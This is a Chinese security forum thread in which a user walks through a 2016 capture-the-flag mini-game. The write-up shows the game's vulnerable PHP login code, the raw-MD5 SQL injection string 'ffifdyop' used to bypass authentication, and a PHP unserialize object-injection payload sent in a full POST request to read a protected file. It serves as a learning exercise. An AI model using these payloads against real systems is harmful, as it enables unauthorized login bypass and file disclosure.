请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 1086|回复: 12

[原创文章] 补天沙龙上海站小游戏解题思路

[复制链接]
  • TA的每日心情
    擦汗
    2016-8-5 00:12
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2016-7-23 23:46:49 | 显示全部楼层 |阅读模式
    题是SSS安全团队出的
    游戏地址:http://120.24.17.43/
    号称有表姐的联系方式
    第一关是猜密码进行登录
    以我玩游戏的经验 断定两个突破口  ①查看源码②Response里面肯定有东西
    所以先随便输入一个密码抓包分析分析
    1.jpg
    果然Response里面有个MSG
    • Msg:
      N2M0M2JjOTY3OTA3MTdhNzcyZDUwNzU0ZjlmMWY3ZTY=(base64加密的)
    • 解密的结果:7c43bc96790717a772d50754f9f1f7e6
    • md5解密为:butian
    输入密码试试
    提示:token验证失败
    没关系token肯定是解出来的MD5
    所以自己构造一个标签
    <input type="text" value="7c43bc96790717a772d50754f9f1f7e6" name="token">
    插入到页面里面去
    2.jpg
    在输入密码butian
    果然到达第二关了
    3.jpg

    第二关其实是有提示的:你知道md5函数的第二个参数是干吗用的么??
    phpMD5第二个参数干嘛的  用来注入的 原因是 字符串->MD5->进行反转  就会在成特殊字符  这里我之前收集的一个字符串(ffifdyop)
    来来进行注入看看有啥子效果
    果然有提示啊
    Please Find an easy bug on it: /00e164b2842952de5e168d79928d2e5b.rar,I only know the key is in file 5e2859d3dd1538c586dfeda8343e64a5.php
    请找出一个简单的BUG  我只知道Key在5e2859d3dd1538c586dfeda8343e64a5.php  这个文件里面
    那就把/00e164b2842952de5e168d79928d2e5b.rar 下载下来瞅瞅呗
    虽然PHP 不太熟悉 但是代码还是可以看懂跟翻译的


    [PHP] 纯文本查看 复制代码
    <?php
    
    class sss
            {
                    var $flag_file = "sss.php";
                            
                    function __wakeup(){
                            $fp = fopen($this->flag_file,"r");
                            echo "Third: ";
                            $xxx = fread($fp,80);
                            echo $xxx;
                            echo "\r\n";
    
                    }
    
                    function __destruct(){
                            echo "object die!";
                    }
    
                    function hello(){
                            echo "Just for fun\r\n";
                    }
    
            }
    
    header ('Content-type: text/html; charset=latin1');
    if (!isset($_POST['user']) || !isset($_POST['password'])){
            die("parameter error");
    }
    
    
    $user = $_POST['user'];
    $pass = $_POST['password'];
     
    mysql_connect("127.0.0.1","root","");
    mysql_select_db("sss");
     
    $u = mysql_real_escape_string($user);
    $pass = mysql_real_escape_string($pass);
    $p = hash("md5",$pass, true);
     
    $query = "select user, pass from users where user='$u' and pass='$p'";
    
    $result = mysql_query($query);
    $row = mysql_fetch_assoc($result);
    if (isset($row['user'])) {
            echo "Please Find an easy bug on it: /00e164b2842952de5e168d79928d2e5b.rar,I only know the key is in file 5e2859d3dd1538c586dfeda8343e64a5.php\r\n\r\n";
        $s = $_POST['5e2859d3dd1538c586dfeda8343e64a5'];
            $s = unserialize($s);
            $s->hello();
    
            echo "too young , sample ,sometimes naive!\r\n";  
    } 
    header("Location: 8b20dff35aaa89ea0660e4b6cdf4348e.html");
    ?>

    重点吗就是
    if (isset($row['user'])) {
    echo "Please Find an easy bug on it: /00e164b2842952de5e168d79928d2e5b.rar,I only know the key is in file 5e2859d3dd1538c586dfeda8343e64a5.php\r\n\r\n";
    $s = $_POST['5e2859d3dd1538c586dfeda8343e64a5'];
    $s = unserialize($s);
    $s->hello();

    echo "too young , sample ,sometimes naive!\r\n";
    }
    他还需要一个请求的参数5e2859d3dd1538c586dfeda8343e64a5  然后拿到值进行反序列化
    我懵逼了5分钟  抽了根烟咋办,卧槽突然想起来php有个反序列化的BUG
    然后上网查资料 写了个poc
    O:3:"sss":1:{s:9:"flag_file";s:36:"5e2859d3dd1538c586dfeda8343e64a5.php";}
    sss是指定的函数,sss里面有个字段为flag_file->给flag_file进行赋值
    反序列化里面的魔幻函数 __wakeup 是开启 __destruct是注销
    所以开始搞吧  下面借助一个工具Fiddler 进行发包带上参数
    5.jpg
    参数
    user=admin&password=ffifdyop&5e2859d3dd1538c586dfeda8343e64a5=O:3:"sss":1:{s:9:"flag_file";s:36:"5e2859d3dd1538c586dfeda8343e64a5.php";}

    果然把5e2859d3dd1538c586dfeda8343e64a5.php里面的内容给读取出来了
    6.jpg
    内容
    [HTML] 纯文本查看 复制代码
    Please Find an easy bug on it: /00e164b2842952de5e168d79928d2e5b.rar,I only know the key is in file 5e2859d3dd1538c586dfeda8343e64a5.php
    
    Third: <?php 
            $Third = "/4c181b2bb190c5a4524eab5e82fba2ee.html";
    
    ?>
    
    Just for fun
    too young , sample ,sometimes naive!
    object die!


    妥了访问文件/4c181b2bb190c5a4524eab5e82fba2ee.html 看看里面是啥
    7.jpg
    内容
    [HTML] 纯文本查看 复制代码
    
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>第三关 请登录邮箱查收你的密码</title>
    
    <meta charset="utf-8">
    </head>
    
    <body>
    <p><img src="sss.png" width="300" height="500" /><br />
    </p>
    <p>When you see this picture</p>
    <p>I'm sure you know what.</p>
    
    <!-- Google流量统计 -->
    <script>
      (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
      (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
      m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
      })(window,document,'script','//www.google-analytics.com/analytics.js','ga');
    
      ga('create', 'UA-66833093-1', 'auto');
      ga('send', 'pageview');
    </script>
    <!-- 结束 -->
    </body>
    
    <!--请看这里
    我相信你应该知道这张图片意味着什么
    还有一串莫名其妙的东西“ppiyhzszcnraddfi”
    -->
    
    
    </html>
    


    晚了以后 表姐的联系方式呢。。。。。。。。。
    咨询了一下还要在反编译一个APK
    想想我也没有啊  就算了
    到这了就算结束了

    -------------------------------------------------------------------------------------------------------------
    后悔那天没带电脑啊
    MD5 注入 PHP 是这段函数 echo hash("md5",参数, true);
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2016-7-24 02:09:23 | 显示全部楼层
    你这个不详细,明天我来发一个。另外,这个小游戏不止一种解题思路哦
  • TA的每日心情
    擦汗
    2016-8-5 00:12
  • 签到天数: 14 天

    [LV.3]偶尔看看II

     楼主| 发表于 2016-7-24 10:59:58 | 显示全部楼层
    95zz 发表于 2016-7-24 02:09
    你这个不详细,明天我来发一个。另外,这个小游戏不止一种解题思路哦

    分享一波看看学学思路
  • TA的每日心情
    奋斗
    昨天 17:05
  • 签到天数: 93 天

    [LV.6]常住居民II

    发表于 2016-7-24 11:42:08 | 显示全部楼层
    完全看不懂啊
  • TA的每日心情
    开心
    2016-5-7 17:27
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2016-7-24 14:48:34 | 显示全部楼层
    本帖最后由 hac425 于 2016-7-24 14:49 编辑

    反序列化本身并不是 bug,很多编程语言都有这个特性
  • TA的每日心情
    慵懒
    前天 20:13
  • 签到天数: 147 天

    [LV.7]常住居民III

    发表于 2016-7-24 18:39:22 | 显示全部楼层
    仰望高端玩家
  • TA的每日心情
    开心
    2016-12-2 16:26
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2016-7-25 09:22:18 | 显示全部楼层
    仰望高端玩家
  • TA的每日心情
    擦汗
    2015-11-20 12:47
  • 签到天数: 16 天

    [LV.4]偶尔看看III

    发表于 2016-7-27 23:32:33 | 显示全部楼层
    :lol:lol:lol:lol:lol帅
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-1-21 20:52
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2016-7-28 13:39:42 | 显示全部楼层
    学习一下
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-1-21 20:52
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2016-7-29 09:18:01 | 显示全部楼层
    学习一下
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-2-25 23:54 , Processed in 0.544392 second(s), 37 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表